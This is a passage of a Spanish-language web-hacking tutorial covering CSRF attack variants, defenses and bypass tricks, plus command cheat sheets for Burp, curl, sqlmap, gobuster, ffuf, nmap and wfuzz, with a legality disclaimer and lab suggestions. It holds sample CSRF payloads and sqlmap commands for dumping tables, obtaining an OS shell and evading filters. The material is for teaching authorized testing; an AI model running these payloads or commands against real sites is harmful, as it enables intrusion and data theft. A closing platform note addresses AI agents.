<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>🖼️ Image Tag</h4></td><td align="center"><mark style="color:$info;">Ataques de petición GET simples. Limitado pero funciona en sitios mal diseñados</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">&#x3C;img src="https://bank.com/transfer?to=atacante&#x26;amount=100">  # Invisible, se carga automáticamente
</code></pre></td></tr><tr><td align="center"><h4>📝 Auto-submitting Form</h4></td><td align="center"><mark style="color:$info;">Para acciones basadas en POST. El ataque CSRF más común</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">&#x3C;body onload="document.forms[0].submit()">
  &#x3C;form action="objetivo" method="POST">
    &#x3C;input name="action" value="malo">
  &#x3C;/form>
&#x3C;/body>
</code></pre></td></tr><tr><td align="center"><h4>🔗 Link-based</h4></td><td align="center"><mark style="color:$info;">Requiere que la víctima haga clic. Puede camuflarse</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">&#x3C;a href="https://bank.com/transfer?to=atacante&#x26;amount=100">
  ¡Haz clic para conseguir un iPhone gratis!
&#x3C;/a>
</code></pre></td></tr><tr><td align="center"><h4>📡 AJAX-based</h4></td><td align="center"><mark style="color:$info;">Más complejo, requiere una mala configuración de CORS</mark></td><td><pre class="language-shellscript"><code class="lang-shellscript">&#x3C;script>
fetch('https://objetivo.com/api/accion', {
  method: 'POST',
  credentials: 'include',
  body: 'malicious=data'
});
&#x3C;/script>
</code></pre></td></tr></tbody></table>

***

### Métodos de Protección contra CSRF

```shellscript
# ==================== TOKENS CSRF (Defensa Principal) ====================

# El servidor genera un token aleatorio y lo incluye en el formulario:
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="j8h2f9d8h2f9d8h2f9...">
  <input name="to" value="...">
  <input name="amount" value="...">
</form>

# El servidor valida que el token coincide con la sesión
# ¡El atacante no puede adivinar el token!

# PERO: ¡Si existe XSS, el atacante puede LEER el token directamente de la página!

# ==================== COOKIES SAMESITE (Defensa Moderna) ====================

Set-Cookie: session=abc123; SameSite=Strict
# Cookie NO enviada en peticiones entre sitios

Set-Cookie: session=abc123; SameSite=Lax
# Cookie enviada en navegaciones de nivel superior (enlaces)
# NO enviada en envíos de formularios, AJAX, imágenes

# SameSite=None (PELIGROSO — debe tener Secure)
Set-Cookie: session=abc123; SameSite=None; Secure
# Enviada en TODAS las peticiones — no proporciona protección CSRF

# ==================== OTRAS DEFENSAS ====================

# Comprobación de cabeceras Origin/Referer
# El servidor verifica que la cabecera Origin/Referer coincide con lo esperado
# Puede bypassearse en algunos escenarios

# Reautenticación para acciones sensibles
# Requerir confirmación de contraseña para cambios importantes
# Recomendable para acciones de alto valor

# Cabeceras personalizadas (para AJAX)
# AJAX puede enviar cabeceras personalizadas, los formularios no

fetch('/api/transfer', {
  headers: { 'X-Requested-With': 'XMLHttpRequest' }
});

# El servidor rechaza peticiones sin la cabecera personalizada

# ==================== BYPASS DE PROTECCIÓN CSRF ====================

# Token no validado en el servidor
# Intenta eliminar el parámetro del token por completo

# Token vinculado a la sesión incorrecta
# Usa el token de otro usuario

# Token en cookie (duplicado)
# Si csrf_cookie = csrf_param, intenta establecer ambos

# Referrer no comprobado correctamente
# Prueba con referrer vacío, origen null

# Confusión de método
# Cambia POST a GET (o viceversa)
```

***

### Encontrando Vulnerabilidades CSRF

{% hint style="success" icon="list-check" %}

## Lista de Comprobación para Pruebas CSRF

* [x] Identificar acciones que modifican el estado (transferir dinero, cambiar email, eliminar cuenta)
* [x] Comprobar si existe un token CSRF en los formularios
* [x] Intentar eliminar el token CSRF — ¿la petición sigue funcionando?
* [x] Intentar cambiar el token CSRF por un valor aleatorio
* [x] Intentar usar un token CSRF de la sesión de otro usuario
* [x] Comprobar si la acción funciona mediante GET (cambiar POST a GET)
* [x] Comprobar el atributo SameSite de las cookies (si es None o está ausente = vulnerable)
* [x] Probar desde una página controlada por el atacante con la petición falsificada
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Herramientas Esenciales para el Hacking Web

Estas son las herramientas que todo hacker web usa a diario. Domínalas y serás capaz de encontrar vulnerabilidades que los escáneres automáticos pasan por alto. La herramienta adecuada no te convierte en hacker — lo que importa es saber cómo usarla.

<details>

<summary>🔧 La Caja de Herramientas del Artesano (click aquí)</summary>

Un carpintero no solo posee un martillo — sabe exactamente cuándo usar un martillo, un destornillador o una sierra. Del mismo modo, un hacker web necesita saber cuándo usar **Burp, curl o las herramientas de desarrollo del navegador**. La herrameinta debe ser una extensión de tu pensamiento, no un sustituto de él.

</details>

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>🔵 Burp Suite</h4></td><td align="center"><mark style="color:$info;">El proxy web definitivo. Estándar de la industria para pentesters. Intercepta, modifica y repite peticiones HTTP. Imprescindible para encontrar y explotar vulnerabilidades</mark></td><td><ul><li><mark style="color:$info;"><strong>Proxy:</strong> Intercepta todo el tráfico</mark></li><li><mark style="color:$info;"><strong>Repeater:</strong> Pruebas manuales</mark></li><li><mark style="color:$info;"><strong>Intruder:</strong> Ataques automatizados</mark></li><li><mark style="color:$info;"><strong>Scanner:</strong> Escaneo de vulnerabilidades (solo versión Pro)</mark></li></ul></td></tr><tr><td align="center"><h4>🟢 OWASP ZAP</h4></td><td align="center"><mark style="color:$info;">Alternativa gratuita a Burp. Ideal para principiantes. Incluye escaneo automatizado y capacidades de ataque activo</mark></td><td><ul><li><mark style="color:$info;">100% gratuito y de código abierto</mark></li><li><mark style="color:$info;">Escáner automatizado integrado</mark></li><li><mark style="color:$info;">HUD para pruebas en el navegador</mark></li><li><mark style="color:$info;">Comunidad activa</mark></li></ul></td></tr><tr><td align="center"><h4>💉 SQLMap</h4></td><td align="center"><mark style="color:$info;">Herramienta automatizada de Inyección SQL. Detecta, explota y vuelca bases de datos. También puede obtener acceso shell al SO</mark></td><td><ul><li><mark style="color:$info;">Soporta múltiples bases de datos</mark></li><li><mark style="color:$info;">Técnicas de bypass automáticas</mark></li><li><mark style="color:$info;">Funciones de toma de control de la BD</mark></li><li><mark style="color:$info;">Lectura/escritura de archivos</mark></li></ul></td></tr><tr><td align="center"><h4>🔍 Nikto</h4></td><td align="center"><mark style="color:$info;">Escáner de servidores web. Encuentra configuraciones incorrectas, software desactualizado, archivos peligrosos y vulnerabilidades comunes</mark></td><td><ul><li><mark style="color:$info;">Más de 6.700 archivos potencialmente peligrosos</mark></li><li><mark style="color:$info;">Detección de versiones del servidor</mark></li><li><mark style="color:$info;">Múltiples formatos de salida</mark></li><li><mark style="color:$info;">Reconocimiento inicial rápido</mark></li></ul></td></tr><tr><td align="center"><h4>📁 Gobuster / Dirbuster / Feroxbuster</h4></td><td align="center"><mark style="color:$info;">Fuerza bruta de directorios y archivos. Encuentra paneles de administración ocultos, archivos de backup, archivos de configuración y endpoints olvidados</mark></td><td><ul><li><mark style="color:$info;">Multihilo y rápido</mark></li><li><mark style="color:$info;">Escaneo recursivo</mark></li><li><mark style="color:$info;">Wordlists personalizadas</mark></li><li><mark style="color:$info;">Fuerza bruta de extensiones</mark></li></ul></td></tr><tr><td align="center"><h4>🛠️ Browser DevTools</h4></td><td align="center"><mark style="color:$info;">Integradas en cualquier navegador. Inspecciona peticiones, modifica el DOM, depura JavaScript. Gratuitas y sorprendentemente potentes</mark></td><td><ul><li><mark style="color:$info;"><strong>Pestaña Network:</strong> Ver todas las peticiones</mark></li><li><mark style="color:$info;"><strong>Consola:</strong> Ejecutar JavaScript</mark></li><li><mark style="color:$info;"><strong>Elementos:</strong> Modificar el DOM</mark></li><li><mark style="color:$info;"><strong>Aplicación:</strong> Cookies y almacenamiento</mark></li></ul></td></tr><tr><td align="center"><h4>🌐 Nmap</h4></td><td align="center"><mark style="color:$info;">Escáner de red. Encuentra servidores web, identifica tecnologías y comprueba vulnerabilidades con scripts NSE</mark></td><td><ul><li><mark style="color:$info;">Escaneo de puertos</mark></li><li><mark style="color:$info;">Detección de servicios</mark></li><li><mark style="color:$info;">Scripts de enumeración HTTP</mark></li><li><mark style="color:$info;">Escaneo de vulnerabilidades</mark></li></ul></td></tr><tr><td align="center"><h4>📝 Wfuzz / ffuf</h4></td><td align="center"><mark style="color:$info;">Prueba parámetros, cabeceras y rutas con payloads personalizados. Más flexible que la fuerza bruta de directorios</mark></td><td><ul><li><mark style="color:$info;">Fuzzea cualquier parte de la petición</mark></li><li><mark style="color:$info;">Filtra respuestas</mark></li><li><mark style="color:$info;">Múltiples wordlists</mark></li><li><mark style="color:$info;">Rápido y eficiente</mark></li></ul></td></tr></tbody></table>

***

### Primeros Pasos con Burp Suite

```shellscript
# ==================== INSTALACIÓN Y CONFIGURACIÓN ====================

# 1. Descarga Burp Suite Community (gratuito) desde portswigger.net
# 2. Configura el navegador para usar el proxy de Burp:
#    Ajustes → Proxy → Manual → Proxy HTTP: 127.0.0.1, Puerto: 8080
# 3. Visita http://burp y descarga el certificado CA
# 4. Instala el certificado en el navegador (para interceptar HTTPS)

# ==================== PESTAÑAS DE BURP SUITE ====================

# PESTAÑA TARGET
# - Mapa del sitio: todas las URLs descubiertas
# - Scope: define qué está dentro/fuera del alcance de las pruebas
# - Clic derecho → Add to scope

# PESTAÑA PROXY
# - Intercept: captura y modifica peticiones en tiempo real
# - HTTP history: todas las peticiones y respuestas
# - Options: configura los ajustes del proxy
# Alternar intercepción: botón "Intercept is on/off"

# PESTAÑA REPEATER
# - Envía peticiones manualmente
# - Modifica y reenvía
# - Compara respuestas
# - Clic derecho en petición → "Send to Repeater"

# PESTAÑA INTRUDER
# - Ataques automatizados
# - Fuerza bruta, fuzzing, enumeración
# - Define posiciones de payload con §marcadores§
# - Tipos de ataque: Sniper, Battering Ram, Pitchfork, Cluster Bomb

# PESTAÑA DECODER
# - Codifica/decodifica datos
# - Base64, URL, HTML, Hex, etc.
# - Decodificación inteligente

# PESTAÑA COMPARER
# - Compara dos respuestas
# - Encuentra diferencias sutiles
# - Útil para pruebas ciegas

# ==================== FLUJO DE TRABAJO BÁSICO ====================

# 1. Definir el alcance
#    Target → Scope → Añadir dominio objetivo

# 2. Explorar el sitio
#    Navega con la intercepción DESACTIVADA
#    O: Target → Site map → Clic derecho → Spider this host

# 3. Revisar endpoints interesantes
#    Busca: páginas de login, APIs, subidas de archivos, búsquedas, entradas de usuario

# 4. Probar en Repeater
#    Clic derecho en petición → Send to Repeater
#    Modifica parámetros, prueba payloads
#    Analiza respuestas

# 5. Automatizar con Intruder
#    Clic derecho en petición → Send to Intruder
#    Clear § → Add § alrededor de las posiciones de payload
#    Pestaña Payloads → Cargar wordlist
#    Iniciar ataque

# ==================== CONSEJOS PRO ====================

# Atajos de teclado:
Ctrl+R = Enviar a Repeater
Ctrl+I = Enviar a Intruder
Ctrl+G = Ir a (navegar historial de peticiones)

# Guarda todo:
Project → Save project as...

# Extensiones:
# Pestaña Extender → BApp Store
# Imprescindibles: Logger++, Autorize, JWT Editor, Turbo Intruder
```

***

### Herramientas de Línea de Comandos

```shellscript
# ==================== CURL - LA NAVAJA SUIZA DE HTTP ====================

curl https://objetivo.com                           # Petición GET
curl -v https://objetivo.com                        # Verbose (ver cabeceras)
curl -I https://objetivo.com                        # Solo cabeceras
curl -X POST https://objetivo.com/api               # Petición POST
curl -d "user=admin&pass=123" URL                   # Datos POST
curl -H "Cookie: session=abc" URL                   # Cabecera personalizada
curl -H "Content-Type: application/json" \
     -d '{"user":"admin"}' URL                      # POST en JSON
curl -b cookies.txt -c cookies.txt URL              # Gestionar cookies
curl -x http://127.0.0.1:8080 URL                   # A través del proxy Burp
curl --data-urlencode "param=valor especial &=+" URL  # Codificación URL automática
curl -k https://objetivo.com                        # Ignorar errores SSL
curl -L https://objetivo.com                        # Seguir redirecciones
curl -A "Mozilla/5.0" https://objetivo.com          # User-Agent personalizado
curl -o salida.html https://objetivo.com            # Guardar respuesta en archivo
curl -s https://objetivo.com                        # Modo silencioso (sin progreso)
curl --max-time 10 https://objetivo.com             # Timeout de 10 segundos
curl -u admin:password https://objetivo.com/admin  # Autenticación básica
curl -X DELETE https://objetivo.com/api/user/1     # Petición DELETE
curl -X PUT -d '{"name":"test"}' \
     -H "Content-Type: application/json" \
     https://objetivo.com/api/user/1               # Petición PUT con JSON
curl -D headers.txt https://objetivo.com           # Guardar cabeceras en archivo
```

```shellscript
# ==================== SQLMAP - INYECCIÓN SQL AUTOMATIZADA ====================

sqlmap -u "http://objetivo.com/pagina?id=1"                    # Detección básica
sqlmap -u "http://objetivo.com/pagina?id=1" -v 3               # Modo verbose
sqlmap -u "http://objetivo.com/login" --data="user=a&pass=b"   # Datos POST
sqlmap -u "http://objetivo.com/pagina?id=1" --dbs              # Listar bases de datos
sqlmap -u "http://objetivo.com/pagina?id=1" -D bd --tables     # Listar tablas
sqlmap -u "http://objetivo.com/pagina?id=1" -D bd -T users --dump  # Volcar tabla
sqlmap -u "http://objetivo.com/pagina?id=1" --os-shell         # Shell del sistema
sqlmap -u "http://objetivo.com/pagina?id=1" --proxy="http://127.0.0.1:8080"  # A través de Burp
sqlmap -u "http://objetivo.com/?id=1" --level=5 --risk=3       # Máxima agresividad
sqlmap -u "http://objetivo.com/?id=1" --tamper=space2comment   # Usar scripts de evasión
sqlmap -u "http://objetivo.com/?id=1" --batch                  # Sin confirmaciones interactivas
```

```shellscript
# ==================== NIKTO - ESCÁNER DE SERVIDORES WEB ====================

nikto -h http://objetivo.com                    # Escaneo básico
nikto -h http://objetivo.com -p 8080            # Puerto específico
nikto -h http://objetivo.com -ssl               # Forzar SSL
nikto -h http://objetivo.com -o resultado.txt   # Guardar resultado
nikto -h http://objetivo.com -Tuning 1          # Solo inyecciones de archivos
nikto -h http://objetivo.com -useproxy http://127.0.0.1:8080  # A través de Burp
```

```shellscript
# ==================== GOBUSTER - FUERZA BRUTA DE DIRECTORIOS ====================

gobuster dir -u http://objetivo.com -w /usr/share/wordlists/dirb/common.txt   # Básico
gobuster dir -u http://objetivo.com -w wordlist.txt -x php,html,js            # Con extensiones
gobuster dir -u http://objetivo.com -w wordlist.txt -t 50                     # 50 hilos
gobuster dir -u http://objetivo.com -w wordlist.txt -o resultados.txt         # Guardar salida
gobuster dns -d objetivo.com -w wordlist.txt                                  # Subdominios
gobuster dir -u http://objetivo.com -w wordlist.txt -k                        # Ignorar errores SSL
gobuster dir -u http://objetivo.com -w wordlist.txt -c "session=abc"          # Cookie personalizada
gobuster dir -u http://objetivo.com -w wordlist.txt --delay 100ms             # Delay (evitar detección)
```

{% code fullWidth="false" %}

```shellscript
# ==================== FFUF - FUZZER WEB ====================

ffuf -u http://objetivo.com/FUZZ -w wordlist.txt                    # Directorios
ffuf -u http://objetivo.com/FUZZ -w wordlist.txt -e .php,.html,.js  # Con extensiones
ffuf -u http://objetivo.com/login -w wordlist.txt -d "user=FUZZ&pass=admin" -X POST  # POST
ffuf -u http://objetivo.com/?id=FUZZ -w wordlist.txt -mc 200        # Filtrar por código
ffuf -u http://objetivo.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080  # A través de Burp
ffuf -u http://objetivo.com/FUZZ -w wordlist.txt -fs 1234           # Filtrar por tamaño
ffuf -u http://objetivo.com/FUZZ -w wordlist.txt -H "Cookie: session=abc"  # Cookie personalizada
ffuf -u http://objetivo.com/FUZZ -w wordlist.txt -rate 50           # Limitar peticiones/segundo
```

{% endcode %}

```shellscript
# ==================== NMAP - ESCÁNER DE RED ====================

nmap -p 80,443,8080,8443 objetivo.com              # Puertos web comunes
nmap -sV -p 80,443 objetivo.com                    # Detectar versiones
nmap --script http-headers objetivo.com            # Cabeceras HTTP
nmap --script http-enum objetivo.com               # Enumeración de rutas
nmap --script http-title objetivo.com              # Títulos de páginas
nmap --script vuln objetivo.com                    # Escaneo de vulnerabilidades
```

```shellscript
# ==================== WFUZZ - FUZZER AVANZADO ====================

wfuzz -c -w wordlist.txt http://objetivo.com/FUZZ           # Directorios
wfuzz -c -w wordlist.txt -d "user=FUZZ&pass=admin" http://objetivo.com/login  # POST
wfuzz -c -w wordlist.txt -H "Cookie: session=FUZZ" http://objetivo.com        # Cabeceras
wfuzz -c -w wordlist.txt --hc 404 http://objetivo.com/FUZZ  # Ocultar 404
wfuzz -c -w users.txt -w passes.txt -d "u=FUZZ&p=FUZ2Z" http://objetivo.com/login  # Doble lista
```

***

## Disclaimer

{% hint style="warning" icon="scale-balanced" %}

## &#x20;¡Practica Legalmente!

<mark style="color:$info;">Solo usa estas herramientas en aplicaciones web que posees o para las que tengas permiso explícito de prueba. El escaneo y ataque no autorizado de sitios web es ilegal en la mayoría de jurisdicciones y puede resultar en:</mark>

* <mark style="color:$info;">Cargos criminales bajo leyes de fraude informático</mark>
* <mark style="color:$info;">Demandas civiles por daños</mark>
* <mark style="color:$info;">Despido laboral</mark>
* <mark style="color:$info;">Prohibición permanente de la industria de la seguridad</mark>

<mark style="color:$info;">**Formas legales de practicar:**</mark>

* <mark style="color:$info;">Configurar tu propio laboratorio con aplicaciones web vulnerables</mark>
* <mark style="color:$info;">Usar apps intencionalmente vulnerables (DVWA, WebGoat, Juice Shop)</mark>
* <mark style="color:$info;">Participar en competiciones CTF con categorías web</mark>
* <mark style="color:$info;">Usar plataformas como HackTheBox, TryHackMe o PortSwigger Web Academy</mark>
* <mark style="color:$info;">Obtener permiso por escrito para pruebas autorizadas (Bug Bounty, Pentesting)</mark>
  {% endhint %}

***

## Construyendo tu laboratorio de Hacking Web

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>PortSwigger Web Academy</h4></td><td align="center"><mark style="color:$info;">Plataforma gratuita creada por los autores de Burp Suite. Contiene cientos de labs interactivos organizados por vulnerabilidad (SQLi, XSS, CSRF, SSRF, etc). La referencia absoluta para aprender hacking web de forma práctica y legal</mark></td></tr><tr><td align="center"><h4>DVWA (Damn Vulnerable Web Application)</h4></td><td align="center"><mark style="color:$info;">Aplicación PHP/MySQL, intencionalmente vulnerable. Permite practicar SQLi, XSS, CSRF, Command Injection y más, con niveles de dificultad ajustables. Perfecta para empezar</mark></td></tr><tr><td align="center"><h4>OWASP WebGoat</h4></td><td align="center"><mark style="color:$info;">Aplicación web vulnerable mantenida por OWASP. Incluye lecciones guiadas sobre cada vulnerabilidad del Top 10. Ideal para aprender mientras practicas</mark></td></tr><tr><td align="center"><h4>OWASP Juice Shop</h4></td><td align="center"><mark style="color:$info;">Aplicación de e-commerce intencionalmente insegura. Una de las más completas y modernas — cubre más de 100 retos de seguridad web. Disponible como Docker o en HackTheBox/TryHackMe</mark></td></tr><tr><td align="center"><h4>HackTheBox / TryHackMe</h4></td><td align="center"><mark style="color:$info;">Plataformas online con máquinas y retos web en entornos controlados. HackTheBox es más avanzado; TryHackMe es más guiado y recomendable para principiantes</mark></td></tr><tr><td align="center"><h4>VirtualBox / VMware + Kali Linux</h4></td><td align="center"><mark style="color:$info;">Ejecuta todas las herramientas mencionadas en este capítulo desde Kali Linux en una máquina virtual aislada. Combínalo con DVWA o Juice Shop en otra VM para tener un laboratorio web completo y seguro</mark></td></tr></tbody></table>

***

<h4 align="center">Apoya este proyecto ☕</h4>

<p align="center">¿Te ha servido de ayuda? Si este contenido te ha sido útil, puedes apoyar mi trabajo invitándome a un café en Ko-fi. ¡Gracias por leer!</p>

<figure><img src="/files/4ZihYi4VKdzgw2DVeXGn" alt="" width="563"><figcaption><p><a href="https://ko-fi.com/hollowsec">https://ko-fi.com/hollowsec</a></p></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xnotkyo.gitbook.io/faq.hollowsec/hacking/fundamentos-de-seguridad-web.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
